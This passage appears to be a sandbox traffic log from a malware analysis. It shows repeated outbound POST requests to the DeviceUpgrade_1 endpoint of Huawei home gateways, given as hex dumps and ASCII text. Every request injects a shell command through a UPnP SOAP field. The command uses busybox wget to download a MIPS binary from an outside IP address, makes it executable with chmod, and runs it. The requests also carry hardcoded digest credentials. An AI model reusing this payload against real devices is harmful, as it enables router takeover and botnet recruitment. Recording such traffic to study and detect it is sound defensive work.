74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:58.566684008 CET	2073	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:08.033516884 CET	2326	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:28.510615110 CET	2877	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	156.241.82.22	37215	192.168.2.23	41868

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:49.142590046 CET	1813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143810987 CET	1850	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:53.699388027 CET	1934	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:58.566684008 CET	2073	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:08.033516884 CET	2326	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:28.510615110 CET	2877	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 